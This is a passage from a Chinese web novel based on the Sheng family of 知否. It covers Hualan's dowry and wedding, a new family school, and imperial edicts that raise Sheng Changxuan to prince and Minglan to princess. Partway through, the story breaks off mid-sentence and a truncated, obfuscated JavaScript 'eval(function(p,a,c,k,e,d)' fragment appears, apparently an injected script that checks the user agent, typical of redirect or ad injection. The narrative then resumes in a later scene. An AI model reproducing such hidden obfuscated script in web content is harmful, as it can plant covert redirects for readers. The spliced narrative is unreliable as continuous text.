盛华兰听着王若弗的话,眼神中带着些许感动,道:“二伯父、白姑母、祖母、白祖父给的太多了。”说真的,这笔嫁妆中的田产铺子、分配红利、银钱是盛瑾出得大头,而后便是白老爷、盛老太太、白滢婷的总和,本来以盛纮夫妇的实力,再加上盛维和盛老太太的添妆,可以给盛华兰备个价值一两万两的嫁妆,如今有了盛瑾他们的添妆,盛华兰的嫁妆直接翻了个十倍不止。 王若弗是眼皮子浅,可也不是那种不知道感恩的,她知道盛瑾之所以给的多是看在了盛老太太的面子,而白老爷和白滢婷则是看在盛瑾的面子上,要不然人家跟你非亲非故的,干嘛给你添这么大笔的嫁妆啊!别说什么干亲,人家认得干亲可只有盛老太太和盛瑾,那才是人家正儿八经的干娘义兄义子义妹。 王若弗神情复杂的看着盛华兰,语气中带着些许感慨的意味,道:“华儿,以后啊!你要念着你祖母、二伯父、白祖父、白姑母的好。” 王若弗的目光转向盛如兰身上,忍不住嘱咐道:“你这丫头,以后见到你祖母和二伯父,还有白祖父白姑母,乖点,别摆一副高门贵女般的架子,这样谁喜欢你啊!” 盛如兰被王若弗的声音唤了回来,她脸上满是不以为意的表情,语气中带着些许敷衍的意味,道:“知道了,母亲。” 盛如兰不知想到了什么,眼珠子转了一下,满脸笑意,语气中带着些许不怀好意的意味,道:“母亲,我那姨母给大姐姐添了什么嫁妆啊!让我瞅瞅。” 盛如兰一向不喜欢王若弗的姐姐王若与,现下为了转移话题拿王若与来堵王若弗的嘴,她可不觉得她那好姨母会给她的大姐姐添上一份好嫁妆,不过,她也没想到她那好姨母什么也没送。 王若弗一听到盛如兰提起王若与这个人,脸一下子黑了起来,一想到连在娘家相处不太好的大嫂嫂都给盛华兰添了好些物件,王若与这个亲姐姐居然什么也没给盛华兰。 盛如兰看到王若弗黑着脸也没多想,用开玩笑似的语气,脱口而出道:“姨母不会什么也没给吧,不能吧。” 盛华兰看到王若弗的脸又黑了一个度,不用猜也知道盛如兰误打误撞说中了这件事情,因而她朝盛如兰使了使眼色。 盛如兰顿时看懂了盛华兰的暗示,阴阳怪气,道:“姨母怎么这样啊!虽说添妆这事是自愿的,但是哪家亲戚不给出嫁的外甥女添妆啊!不过是多少的问题,可姨母这一点也不给是不是太过分了嘛,舅舅和维堂伯父比姨母住的都远,不也派人送来东西给大姐姐添妆了嘛,没道理,姨母这样啊!” 盛如兰误打误撞的在王若弗那里,给王若与上了一把眼药,而盛华兰不知想到了什么,给王若与补了一刀,道:“明儿今个给我塞了一盒子拇指大小的珍珠,少说也有二十来颗,说是她这个当妹妹的给我的添妆。” 王若弗原本黑着的脸又奇迹般黑了一个程度,咬牙切齿,道:“爱给不给,我还不稀罕呢。”虽然她这么说,但是心里还是对王若与留了个疙瘩,其实王若与没给盛华兰添妆就是单纯看不惯王若弗威风,想给王若弗一点颜色瞧瞧,毕竟从小到大王若弗一直不如她,嫁人时也是她的婆家比王若弗的婆家好,没曾想峰回路转,康家逐渐落败,盛家逐渐升起,那盛老太太居然是盛瑾的亲生母亲,盛家也因着这一点一跃而上跻身勋爵人家,这如何不能让她心生妒忌,只是她没想到孩子们在王若弗心里的地位有多高,这件事情让王若弗对这个姐姐产生了一丝厌恶,尤其是想到她以前为着帮扶王若与贴补的银子和东西,如今王若与却这般对待自己,只觉得以往的一腔情义喂了狗了,这使得王若弗对王若与产生了一丝戒心。 盛华兰一向觉得王若与不是个好人,至少她对王若弗的好绝对没有王若弗对她的好多,可惜以往王若弗一直认为王若与是她姐姐不会害她的,如今王若弗因为添妆的事而厌恶王若与,她乐见其成,也不说什么。 盛华兰拉着王若弗的手,语气中满是真诚的意味,道:“母亲,你要记得我的话,等我出嫁后,你便时常带着妹妹去找祖母聊聊天,陪陪祖母,不为别的,就算为了妹妹和弟弟的前程,祖母如今是一品诰命夫人,以后妹妹弟弟的婚事少不了要祖母出力,再说了,祖母见识深,多和祖母谈谈心,对妹妹和母亲你都是有好处的。” 王若弗听着盛华兰真诚的话语,眼眶微微有些泛红,语气中满是不舍的意味,道:“我知道了,华儿你放心,母亲听你的。” 盛华兰的目光转而放在满脸懒散的盛如兰身上,轻声细语,道:“如儿,我知道你不爱听我的话,可我还是要多说一句,你性子单纯莽撞、口无遮拦,待我出嫁后,身旁没有人时常提点你,怕是会与墨兰发生不少冲突,惹得父亲生厌,其实你大可以去找明儿一同玩耍,我和她相处了不少时日,你在府中也住了些许时日,想必自己也对明儿有些许了解,明儿她是个豁达开朗的性子,不会因为什么和你起争执的,我相信,只要你放下架子,同她相交,你们会成为好姐妹的,当然,我让你和明儿相处也存了点私心, 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盛华兰顿了顿,细细给盛如兰分析道:“一则如若你有冲动的时候,她能拦着你,二则她是二伯父最疼爱的女儿,也是丰国公府唯一的嫡长女,若是你惹父亲生气或是闯了祸事,有她在一旁求情,父亲会对你从轻处罚的,三则我也希望她能影响你,帮你改改那冲动的脾气,四则与我不同,你不是在祖母膝下长大的,她对你的感情没有我深,若是你不经常在她老人家身边尽孝,如何能培养你和祖母的感情,我知道你不服气,不要说什么嫡庶,阖府的人里就只有二伯父和轩堂兄是与祖母有血缘的,就连明儿与安哥儿在名头上都是祖母嫡亲孙女孙子,你若不对她好,如何要求她对你好,五则不要去找墨兰的麻烦,别忘了,孔嬷嬷曾说过一家子兄妹同气连枝,一荣俱荣,一损俱损,不要让外人传盛家女儿之间不和的话,正如你所说,你是嫡出,将来的日子肯定比墨兰好,你现在又计较什么呢,再者,因着那件事情,二伯父和祖母嘴上虽未说什么,但到底心里留下了疙瘩,这点从祖母刻意让明儿身边的丫鬟隔开墨兰就能看出来,祖母不希望明儿和墨兰独处,害怕墨兰伤害明儿,我说这么多你可记住了嘛。” 盛如兰听着盛华兰的话,心里泛起一丝感动,可面上不愿流露出来,她撇了撇嘴,道:“记住了,大姐姐。” 王若弗一看盛如兰这样,心里就来气,拍了一下盛如兰的肩膀,道:“你大姐姐句句都是肺腑之言,全是为了你好,你这是什么态度啊!若不为着你与她是亲姐妹,她能与你说这么多嘛。” 盛华兰看着盛如兰这样,忍不住将她拉到身旁,轻声细语道:“我再过不久便要嫁去旁人家,是别家的人了,往后不能帮着你,护着你了,你听也好,不听也罢,我只能言尽于此了。” 盛华兰说到此处时,眼眶泛红,眼泪止不住的落下,语气中带着些许哽咽,道:“你,你和母亲,两人要好好的,我以后也不能常常看到你们了。” 盛如兰看到盛华兰哭得梨花带雨,心里一阵难过,拿出自己的帕子,一边给盛华兰擦眼泪,一边道:“大姐姐别哭,我,我听你的,我以后一定和明兰妹妹好好相处,不找墨兰的麻烦了,你放心,我一定听你的话。” 王若弗看到如此场景,眼眶也开始泛红,语气哽咽道:“华儿不哭,不哭,过几日便是你成亲的日子,这是件大喜事啊!往后你就是伯爵府的大娘子,风光无限,不哭啊!不哭,嫁人后,若是得空还可以回娘家看看或是住几天,又不是再也不见了。”她说完,母女三人就抱在一起,没一会儿,她们一同睡在一张床上了。 盛华兰的嫁妆送入忠勤伯爵府后第五天,就是她成婚的日子,这天风和日丽,天温气暖,宜嫁娶,迎亲的队伍从忠勤伯爵府一路吹吹打打而来,丰国公府内也到处扎花点红,装点的一派喜气洋洋。 盛明兰一大清早就被小蝶拉起来打扮,头上挽着两个圆圆的蝴蝶鬏,绾着一对红珊瑚珠镶的金丝缠枝发环,上身穿一见月白云纹绫缎绉裙,腰间带着一个硬红镶金如意坠,脖子上带着一副玉锁,倒不是盛瑾或是白老爷给的那副,而是盛老太太从自己库房中翻找出来的一块上好西域昆仑的籽玉,打造出来的玉锁,待她梳妆打扮完后,往镜子里一照,再鼓着小胖脸颊一笑,嘴角一颗小小的梨涡,活脱脱就是一个大号喜庆的年画娃娃。 小蝶带着盛明兰来到了王若弗的院子,在这里她见到了盛墨兰和盛如兰,只见她们打扮的一身彤红喜气,胸前都用细细的金链子挂着盛维送的璎珞盘丝金锁,然后,盛明兰和她们按次序跟盛华兰道别。 盛墨兰脸上浮现出一抹笑容,举止端庄的对着盛华兰微微行了一礼,腹有诗书,道:“祝大姐姐鸳鸯福禄,丝萝春秋,花好月圆,并蒂荣华。” 盛如兰眼含不舍的看着盛华兰,微微行了一礼,道:“大姐姐喜结良缘,望大姐姐和大姐夫琴瑟和鸣,白头偕老,子孙兴旺,枝繁叶茂。” 盛明兰看两个姐姐说了一堆成语,别出心裁,道:“大姐姐,平时要多喝水,对皮肤好,嗯,早点给我生个胖嘟嘟的外甥和外甥女,我会当好长辈的,给她们送见面礼。”对的,她如今深受她那财大气粗的爹盛瑾和祖父白老爷的影响,蛮喜欢送东西给自己喜欢的人以示喜爱之情。 盛华兰看看盛明兰,眨了眨眼睛,好不容易酝酿出来的一些泪意又没了,脸一下子变得羞红,而王若弗听完盛明兰的话在一旁哈哈大笑,道:“明儿,真棒,真乖啊!” 王若弗在心里暗暗道:“我的这位二哥哥是如何养出这么个有趣的闺女的。”不过,她没想多久,便对盛华兰交代了几句,随后她的身旁走出了一个身穿一件暗紫色团花比甲的嬷嬷。 盛华兰不甚明白的向王若弗看去,只见王若弗眼神有些躲闪,支支吾吾,道:“请这位嬷嬷给我们姐儿说说夫妻之礼吧。” 盛华兰的脸一下子就彻底通红了,过了一会儿,便到了送盛华兰出门的时间,盛华兰拜别父母后,就上了花轿,离开了丰国公府。 丰国公府里宾客满席,直到半夜才离去,参加宴席的女眷们也如愿见到了盛国公的嫡长女盛明兰,以及盛如兰和盛墨兰,不过,这场宴席收获最大的是盛纮,现在明面上的人都知道他是盛瑾的弟弟,算是另类的公开仪式了,此时在丰国公府的邱家大娘子瞧着丰国公府这般场面,心里已经隐隐有些后悔,当她得知盛华兰丰厚的嫁妆时,心里的悔意又加重了些,若是早知盛华兰嫁妆之丰,她就先下手为强了,就算没有助力还有钱途啊!再说了,有盛瑾这个国公爷在,盛家二房还怕没有前程嘛,随着盛华兰的婚礼结束,丰国公府也恢复了以往的平静。 77.第 77 章 清晨,丰国公府内,王若弗早已在院中等得焦急难耐,只因今天是盛华兰回门的日子,好在她的耐心快要消失殆尽时,瞧见了盛华兰和袁文绍的身影,待她和盛纮与盛华兰夫妇二人聊了一会儿后,袁文绍便被盛纮带去了前厅。 王若弗瞧着盛纮和袁文绍的身影逐渐消失后,迫不及待的拉着盛华兰一直询问这那的,而盛华兰红着脸回答着王若弗的一系列问题。 王若弗通过盛华兰的回答,可以感觉出来盛华兰这三天在忠勤伯爵府过的不错,又私底下派丫鬟去问她给盛华兰的陪嫁丫鬟彩簪,得到的结果如盛华兰回答般的还不错。 王若弗这边全方位的询问了解盛华兰在忠勤伯爵府的日子,盛老太太那边也不差,她派了房嬷嬷去细细询问了她给盛华兰的陪嫁丫鬟翠蝉,得到的结果如王若弗得到的一样,她便放心了一些。 盛纮在前厅与袁文绍一同聊天,盛长柏和盛长枫作陪,颇有着相处融洽之感,待到晚膳时,袁文绍夫妇才见到盛家全部的人,他们用完膳后又闲聊了一会儿,方才离开丰国公府,回到了忠勤伯爵府。 大章氏之所以没有一开始就为难盛华兰,一是新妇进门三日内一般人家都不会苛刻对待,二是因为盛华兰有娘家人在汴州城里,三日便要回门,不能刚做了三天亲家就闹起来,这谁的面子上都不好看,故而盛华兰还不知道大章氏是个什么货色呢。 等盛华兰回门后没几日,盛如兰突然想起了盛华兰未出嫁时与她说的话,也不知怎么开窍了,她开始了日日找盛明兰的日子,可盛明兰每日随着盛长安一同完成盛瑾前天晚上留给她们的功课,她虽觉得十分无聊,但也耐着性子随着盛明兰和盛长安一起完成,待到晚上,她瞧见盛瑾回来考察盛明兰和盛长安时亲密无间的相处模式,这让她心里十分羡慕盛明兰、盛长安与盛瑾之间的相处模式,也不知道从何时起,她晚上也会同盛明兰和盛长安一同等待盛瑾考察功课。 盛如兰陪着盛明兰和盛长安等盛瑾回来,次数多了后,盛瑾很难不察觉出盛如兰的心思,他瞧着盛如兰也没干什么,只是乖乖巧巧的坐在一旁听讲,或是双目放光的看着他考察盛明兰和盛长安,他瞧着盛如兰这般实在是于心不忍,便下意识的询问盛如兰是否要随着盛明兰、盛长安一同读书习字,没曾想盛如兰猛地点头表示同意,于是他晚上考察对象多了盛如兰一人,不过,若是盛如兰同盛明兰、盛长安般表现不错,他可不会抱一下盛如兰,毕竟盛如兰如今已然十二岁了,他不好与盛如兰太过亲密,因而他大多数都只是摸摸盛如兰的头,赞扬盛如兰的精彩表现,对此,盛如兰表示很知足,即使读书很痛苦,她也能坚持下来。 王若弗对于盛如兰读书是乐见其成的,所以也不阻止盛如兰和盛明兰相处,就连她自己也依着盛华兰的意思,日日去找盛老太太聊天,时间久了,盛老太太有时对于一些事情还会提点一下她,每每这个时候,王若弗就深感盛老太太见识多、能力强啊!与盛老太太越发的亲密了起来,当然,这都是后话了。 王若弗现下正和盛老太太一同将给姑娘哥儿们上课和供庄学究居住的院子打扫出来,这位庄学究就是盛纮先前向盛瑾提议建立家学时推荐的夫子,时光回到盛纮和盛瑾提议建立家学的那个夜晚,只见盛瑾在听完盛纮的话,用手指敲了敲桌子,思考片刻后,道:“这是你的想法嘛。” 盛纮瞧着官威日与月增的盛瑾,背后止不住得冒冷汗,不知道为什么,他每次看到盛瑾时就有一种敬畏之心,他平复了一下心情,斟酌用词,道:“二哥哥每日晚上回来教导明姐儿和安哥儿太过劳累,再者,不仅炜哥儿和梁哥儿在王夫子那边待不了多少时日,家中的哥儿姑娘们也需要读书习字,还是尽快找夫子教导为好,刚好这庄学究有些能耐,弟弟又帮过他母亲,想必他不会拒绝弟弟的邀请,若是二哥哥同意,我立刻写信给他,待华儿出嫁后不久,他就能来府中教学。” 盛瑾定睛看了盛纮好一会儿,待盛纮快要忍不住放弃时,只听见盛瑾带着些许笑意,道:“三弟弟有为我分忧之心,为兄自无不可,更何况三弟弟已经将一切事情都考虑周到了。” 盛纮心里松了口气,其实他自己心里也有些许私心的,如今孔嬷嬷教学上,盛华兰和盛如兰对盛墨兰爱搭不理的,盛明兰因着上次那件事情也疏远了盛墨兰,他瞧着盛墨兰孤孤单单一个人着实有些心疼,若是能大家一同上课,至少碍于面子,盛明兰、盛如兰也会在人前表现的和盛墨兰亲近。 等盛纮离开房间后,盛昀的身影出现在屋内,他冰冷的声音里带着些许疑惑,道:“主君,你为什么要同意呢,他明显带着一点私心,是为了那个盛墨兰。” 盛瑾面不改色的为盛昀解惑道:“我知道,可只要盛墨兰一天姓盛,她就是盛家人,再说了,只要明儿不与盛墨兰深交,母亲便会放心,可不深交不代表不交流。”而盛昀站在一旁沉默不语,时间回到最初,王若弗和盛老太太收拾完院子后没多久,庄学究便到汴州城,住进了丰国公府,而盛家的家学也随着庄学究的到来开始了。 皇宫内,皇帝满脸激动的看完手中的奏折,目光十分锐利的看向底下跪着的人,道:“上面写的是否属实。” 跪在底下低着头满脸疲惫的武官,瞬间抬起头,语气十分慎重,道:“上面写得句句属实,臣绝无弄虚作假欺瞒天子之心。” 皇帝盯着下面的武官好一会儿,方才挥了挥手,示意这位武官退下,待这位武官的身影在殿内消失后,他向里头走去。 皇帝走到一处书架前,轻轻碰了一下一旁的书本,随即出现一个暗格,暗格内只有一卷卷画卷,他取出最上面的画卷,轻轻打开,犹如抚摸什么珍宝般,用手轻轻的勾勒着画中十岁的孩童,喃喃道:“瑞儿,父皇很想你,可汴州城这潭水混得很,父皇暂时还不能与你相见,不过,你放心,父皇会将一切都处理好,给你留下个大好河山。” 皇帝看了好一会儿后,依依不舍的把画卷放回了暗格,并将一切回复成原来的样子,他的眼神十分深邃,不知过了多久,才抬腿往外走,那背影好似在下什么重大的决定般坚定挺拔,没过多久,突如其来的三道圣旨,不仅打破了丰国公府的平静,还掀起了汴州城的连波。 丰国公府内,盛瑾瞧着突然到访的皇帝身边的心腹太监,心里正泛起一阵疑惑,毕竟今个他放假也不知道发生了什么,只见这位太监笑意盈盈的对着盛瑾,道:“盛国公,喜事,大喜事啊!快快准备好,来接旨。” 盛瑾在外名声不错,加之他每次入宫时,无论地位高低都是以平常心来对待这些个太监宫女,因而宫中的太监宫女大多都对他有好感。 盛瑾压下心中的疑惑,让丫鬟小厮们准备好接旨的用品,待一切准备就绪后,他便带着盛家一行人跪在地上听着这位太监宣读圣旨,不过,他属实也没想到皇帝会一下子给盛家发了三道圣旨。 第一道圣旨是封盛长轩为世袭贤王,其封地位于清水县所在的青州,并把丰国公府附近的房屋赠给盛长轩,以便将丰国公府扩充成王府,当然,盛家不能有两个世袭爵位,因此,待盛瑾离世后,盛瑾身上的世袭国公之位就会被收回。 第二道圣旨是给盛长轩与皇帝已逝的最小弟弟唯一的孩子安康郡主赐婚,虽说安康郡主的年岁快要到十八,但皇帝和曹皇后还想留她几年,再加之盛长轩如今人还在边境,短时间内也不能赶回汴州城完婚,便将二人的婚期定在两年后,这样既方便盛长轩,也满足皇帝和曹皇后的想法。 第三道圣旨是封盛长轩的嫡亲妹妹盛明兰为韶德郡主,不过,相较于前两道圣旨,这道圣旨给人的冲击就不那么大了。 盛瑾恭恭敬敬的接过圣旨,交由盛老太太后,面带笑容的给那位太监塞了两千两的银票,打探起皇帝为什么要给自家儿子封王,虽然圣旨上点明了盛长轩是因着开疆扩土封的王,但盛长轩到底干了多大的事情,他可一点也不知道啊! 盛瑾一想到明日上朝时的场景,脑瓜子就一阵嗡嗡的,还不如先打听清楚情况,以防那群老狐狸打他个措手不及。 那位皇帝身边的心腹太监摸了摸荷包,不用猜也知道是银票,他就知道盛瑾出手向来大方,又想着这件事情要不了多久就会传遍朝野,便顺水推舟卖了个人情给盛瑾,待盛瑾听完全部事情的起因后,他就恭恭敬敬的将这位太监送出了府邸。 等盛瑾再次回来时,盛老太太眼神中带着些许担忧的看向盛瑾,欲言又止,可现下也不是什么说话的好时候,便由着盛瑾扶她回屋,而盛家其他人也十分激动的跟在盛老太太和盛瑾身后,不过,每个人的内心都有不同的想法,盛纮夫妇高兴于如今盛家门第高到不能再高的程度,尤其是盛纮正在沉浸于自己成了王爷的堂叔父的喜悦中,这回他怕是真的做梦都要笑醒了。 盛如兰则是满脸兴奋的看着盛明兰,心里暗道:“明兰妹妹居然成了郡主,那我不就有了个郡主堂妹嘛,我以后可威风了。” 盛墨兰目光炯炯的看着盛明兰,她本就离了林噙霜三四年,如今又有陶妈妈在旁引导,自是知道一家子一荣俱荣,一损俱损,盛明兰成了郡主,盛长轩成了王爷,盛家脸上有光,她未来在婆家的底气也就更足了。 盛长柏、盛长枫、盛长梁只觉得自家堂兄真能干,并且为有盛长轩这样的堂兄而感到骄傲,而盛长安小小年纪并不清楚这些意味着什么,只受众人情绪感染也兴奋起来,至于盛明兰本人此时已经被这个大惊喜砸的无法思考了。 盛家众人陪着盛老太太在屋内聊了一会儿后,她找了个借口让盛家其他人都回去,只留盛瑾一人在屋内,待盛家其他人的身影都消失在院中,她满脸忧愁,语气有些急促,道:“瑾儿,你和轩轩做了什么,为什么皇上封轩轩为王,如果有危险,我们就拒绝,盛家如今不缺荣光,我只要你们平安顺遂。” 盛瑾面带微笑的上前拍了拍盛老太太的手,语气中带着些许安抚的意味,道:“母亲想哪去了,我和轩轩怎么可能做危险的事呢,不过是轩轩立了开疆扩土的大功,陛下大喜给的封赏。” 盛老太太是勇毅侯府出身,又被前皇后养育过,她知道盛长轩的功劳是可以封王,却不可能封的如此之高,她紧紧抓住盛瑾的手,语气中带着些许颤抖,道:“可这赏赐也太过丰厚,世袭的异姓王,开国以来也没几个。”她总觉着这里面透着不对劲。 盛瑾用另一只手拍了拍盛老太太紧抓着他的那只手,语气轻柔且具有安抚的意味,道:“母亲,这算不得什么异姓王,陛下给轩轩和安康郡主赐了婚,我在汴州城是出了名的痴情种,再加之我曾定下四十无子方可纳妾的规矩,只要那安康郡主是个能生的,未来我这一脉的子嗣皆具皇室血统,因而这异姓王只是姓氏不同罢了。” 盛瑾瞧着盛老太太还有些担忧,继续道:“再说了,没准轩轩这次封王还是粘了安康郡主的光呢,这安康郡主是陛下唯一嫡亲弟弟留下的唯一血脉,我估摸着陛下是吝惜安康郡主,为了照顾弟弟唯一的子嗣,从另一方面让他后继有人,才如此厚待轩轩。” 盛老太太听着盛瑾的话,心里顿时觉着有几分道理,毕竟她自个也听说过这位安康郡主从小是由曹皇后与皇帝养大的,深受皇帝喜爱,与皇帝情同父女,位同公主,先前有过一任未婚夫,本打算十八岁时出嫁,可没成想安康郡主的未婚夫前不久闹出了个庶长子,皇帝龙颜大怒,再加之先前出了公主和离艰难的事情,使得皇帝对此慎之又慎,最终决定取消这门亲事,这在她看来都不是什么大事,更何况她觉着若是盛长轩娶了安康郡主等同于没有驸马之名,却有驸马之实,那好处是实实在在的。 盛瑾瞧着盛老太太脸上的忧愁散了许多,心里松了口气,他不能将所有实情告诉盛老太太,毕竟盛老太太是上了年纪的人,不能让她担惊受怕,其实他也知道皇帝此番意欲何为,不过是想将他和盛长轩牢牢地绑在小皇子的船上,即便他再怎么不想参与皇家的事件,可为着自己的孩子也不得不依着皇帝的意思,为小皇子保驾护航。 盛瑾从盛长轩当初带着小皇子回来时,就猜到皇帝对他的本事和异样有所察觉,其实他也知道无论多好的隐藏都是存在破绽的,可他没想到皇帝对此毫不在意,如今的皇帝只想利用他的本事和异常来保住自己唯一的子嗣。 盛瑾猜的大差不差,皇帝通过这些年与盛瑾的相处,他对盛瑾的品性可以说得上是十分了解,盛瑾性情淡泊、不恋权势、没有野心,最重要的一点是十分护短,如果踩到盛瑾的底线或是伤害到他所在意的人,盛瑾绝对会伸出他的利爪撕下对方一块肉,这样的人若是成了队友绝对是极好的。 皇帝并不知道自己能为他年幼的孩子撑多久,况且汴州城内还有两个羽翼丰满的亲王与他们各自的追随者,他不能有过大的动作让他们察觉,不然,他们很有可能一起对他年幼的孩子下手,此时他唯一能做的就是在朝堂上找到另一股力量来暗中支持中立派,使朝堂中的势力形成三足鼎立的场景,并且这股隐藏起来的力量在必要时能够为他的孩子抵挡伤害,当然,除此之外,他也希望自己孩子登基为帝后,在羽翼丰满前,能有人帮他制衡文官的势力,以及让武官忌惮,显然如今有这个能耐且保险的人除了盛瑾,他实在找不出第二个。 皇帝和盛长轩私下达成了协议,盛长轩的这只军队的下一个掌管者绝对不能拥有盛家血统,外加盛长轩的两代以内只能从文,以此来降低盛长轩后代在这只军队里的影响力,故而才有了如此丰厚的封赏,不过,他也做了另外的准备,那就是将安康郡主嫁给盛长轩,从根本上保证了这个王位的实际继承人血脉中流淌着皇室血统,况且安康郡主的孩子从血缘上来说于他这一脉更近,也能拉进盛长轩一脉和他儿子的关系。 皇帝并非冷血至极,他对安康郡主也不是全然利用,不然,也不会因着安康郡主的前未婚夫弄出个庶长子而退婚,毕竟安康郡主即是他已逝弟弟的唯一孩子,又在他和曹皇后膝下长大,感情好似亲生女儿般,他对安康郡主未来的官人肯定是仔细挑选。 皇帝深入了解过盛长轩这个人,盛长轩肖父,且不好女色,未来八成会和他父亲一样,只守着妻子一个人,安康郡主嫁给盛长轩后,极大可能一生一世一双人,这对于安康郡主而言,自是极好的,这世道若能得个一心一意对自己的官人是多少女子求都求不来的事情,再者,盛长轩因着此次大功封了亲王,安康郡主嫁过去就是亲王妃,除去皇后、嫔妃、太子妃和公主外,便没有比她身份更尊贵的女人,况且安康郡主未来的子嗣将会一直世袭亲王,从本质上来说,这场婚事虽有着利益存在,但刨除利益也是一门极好的婚事,可以见得他对安康郡主的情感是真的。 皇帝也知道自己这般做法,实属有些对不住一直以来为自己勤勤恳恳工作的盛瑾,故而为了让盛瑾对这件事情少些介怀,也为了让自己心中少些愧疚之情,他将盛明兰封为了韶德郡主,毕竟王爷的妹妹是郡主,这也说得过去,不过,盛瑾对皇帝的想法全然不知,此时的他也想通了。 盛瑾在心中自我安抚道:“在朝中为官哪有事事如意的,况且明儿被封为郡主也算得上一件好事,毕竟陛下那个皇子与明儿年岁相差不大,万一他哪天抽风了给明儿和皇子赐婚,那未来皇帝的岳父可比郡主的公公难当多了,还好陛下也不算太坑,许配的是在曹皇后膝下长大的安康郡主,想来性子也不会太差吧。” 盛瑾心里这般想着,面上不显的与盛老太太聊起盛长轩、顾廷烨、顾廷炜小时候的趣事,从而转移了盛老太太的注意力。 盛瑾没想到他没能等来第二日朝中老狐狸的围攻,因为他们在圣旨下达的当天下午就怒气冲冲往皇宫去找皇帝要个答复,只见为首的一位年老官员言辞凿凿的诉说着这份厚赏不合理之处,可皇帝直接甩出了盛瑾这些年为盛长轩出粮草物资的账单和盛长轩这些年书写的各种练兵计划,以及此次盛长轩为朝廷打下了多少疆土。 殿内的几位朝中重臣、大官轮流看着这些东西,每个看完的人脸上的表情都十分精彩,从中可见盛长轩为这只军队付出了多少心血, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这些个官员也知道自己入宫肯定会被盛瑾所察觉,为着给盛瑾赔礼道歉,第二天上朝时,自发帮着盛瑾怼那些个阴阳怪气的官员,看得其他官员目瞪口呆,不知道的,还以为这些个朝中一二品官员集体吃错药了。 盛瑾自是能领会这些大官的用意,不过,这些个大官中怎么有的人看他的眼神像是在看冤大头般,可他也没想太多,毕竟有人愿意替他去解决麻烦,何乐而不为呢,因而在这些个一二品大官宛如坦克般的武力值镇压下,满朝文武百官都闭了嘴,与此同时,曹皇后的宫殿中,曹皇后看着眼前亭亭玉立的安康郡主,语气轻柔,道:“安康,若不是发生那件事情,你如今也快出嫁了。” 安康郡主闻言,脸上浮现出一抹难看和庆幸的表情,沉默不语的低着头,而曹皇后瞧着安康郡主这般,眼中闪过一丝心疼,拉着安康郡主的手,道:“这件事情原就不该怪你,你无需在意太多。” 曹皇后将安康郡主轻轻拉进自己,眼含笑意,道:“别听宫里那些个嚼舌根的人说得话,谁娶了我的安康,那是谁的荣幸,更何况如今我的安康得了门极好的婚事,不稀罕先前那个不知礼数规矩的人家。” 安康郡主微微瞪大双目,自从她与前未婚夫退婚后,便将自己关在了曹皇后宫中,全然不管外头的事情,自然不知道皇帝赐婚这件事情。 曹皇后将安康郡主带到主位上坐下,眼神中带着些许悲伤,道:“你和你父亲从小都是在我和陛下身边长大,我们拿你父亲和你当成亲生儿子孙女般疼爱,可惜你父亲英年早逝,没能陪着你一同长大,这是我和陛下的遗憾,也是你的遗憾。” 安康郡主眼角微微泛红,语气中带着些许哽咽,道:“父亲若是知道皇伯父皇伯母对我这般好,定会十分感激皇伯父皇伯母的恩情。” 曹皇后摸了摸安康郡主的脸蛋,语气中带着些许叹息,道:“我们最是疼你,原想给你定个好人家,谁曾想那家哥儿居然如此胡来,也是我和陛下眼拙错把鱼目当成珍珠,好在是婚前发现退了婚,可到底还是让你遭受了些流言蜚语。” 曹皇后嘴角微微弯起,语气中带着些许笑意,道:“不过,如今峰回路转,陛下又给你精挑细选了门极好的亲事,丰国公府的嫡长子盛长轩,那是个有能耐的,靠着自己的能力现下已被陛下封为贤王,你嫁过去便是贤王妃,除去陛下的妻妾和女儿、太子妃,没有比你身份更尊贵的女子了。” 安康郡主眼中闪过一丝惊讶,脸上泛起了些许羞红,语气中满是不可置信,道:“丰国公府嫡长子盛长轩,他那样的身份怎么可能没订过婚事呢。” 曹皇后面带微笑,语气柔和,道:“丰国公府从盛国公夫人逝世后就没有女主人,盛长轩十三岁考中状元郎便自请去了边疆,盛国公一个男子自是没有女子心细,也就没给盛长轩定下亲事,后来虽多了个母亲,但盛长轩本人还在边疆也就没有提过,如今看来你和盛长轩也算得上是天作之合了。” 曹皇后瞧着安康郡主羞红的脸蛋,继续道:“这丰国公府比起先前那户人家好了不知多少倍,人口简单,后院平静,上头没有婆婆压着你,你嫁过去后,只需要伺候好盛老夫人即可,况且盛国公和盛老夫人都是和善之人,断不会做出什么刻薄媳妇之事的,至于盛家其他人,盛家大房和盛国公分别过继了一个哥儿、一个姑娘,我已经派人查过这两个孩子,他们性情都是极好的,盛家三房那边的人听说也还不错,不过,你对他们倒是不必太费心思。” 曹皇后膝下养过几个孩子,其中活着的只有平宁郡主和安康郡主,相较于平宁郡主,她对安康郡主更加用心和亲近,毕竟平宁郡主虽是她的养女,但到底亲生父亲和族人都在,再怎么亲近,她也比不过平宁郡主的亲生父母及其族人来得更为亲近,安康郡主则不同,不仅父母双亡,身上还留着与皇帝血缘相近的血脉,其父亲更是由她和皇帝一同养大,这情感自是平宁郡主不能比的。 曹皇后瞧着安康郡主那有些肖似其父亲的眉眼,眼神中带着些许思念,犹如母亲般细细嘱咐道:“盛国公是个专情之人,想来他的儿子也是这样子的,你的性子我是最了解的,温柔坚韧,端庄大方,与盛长轩必能相处和睦,将来也能过得幸福安康,犹如陛下给你的封号一般,也算是弥补我和陛下因着先前那门婚事对你的愧疚之情。” 安康郡主眼含泪水,语气中带着些许哽咽,道:“劳累伯父伯母为我如此打算了,安康简直无以回报。”此时的她也顾不得礼仪,直接将皇帝曹皇后称为伯父伯母。 曹皇后摸着安康郡主的头,语气中满是亲近和安抚的意味,道:“傻孩子,你是在我和陛下身边长大的,算是我们的孩子,父母为孩子操心,天经地义,你不必如此,我和陛下想将你再留两年,待两年后,你便嫁入丰国公府,这段时间里,你可以送些东西,或是我召见你未来的小姑子,让她进宫来与你闲聊,毕竟你嫁进去后,她才十一二岁的年纪,长嫂如母,以后她的一系列事情,你还是要多操心的,不如就现在开始,慢慢培养感情,为着你往后更好的融入丰国公府。” 安康郡主眼角挂着些泪水,脸上浮现出一个笑容,微微点了点头,道:“安康知道如何做了,请伯母放心吧。” 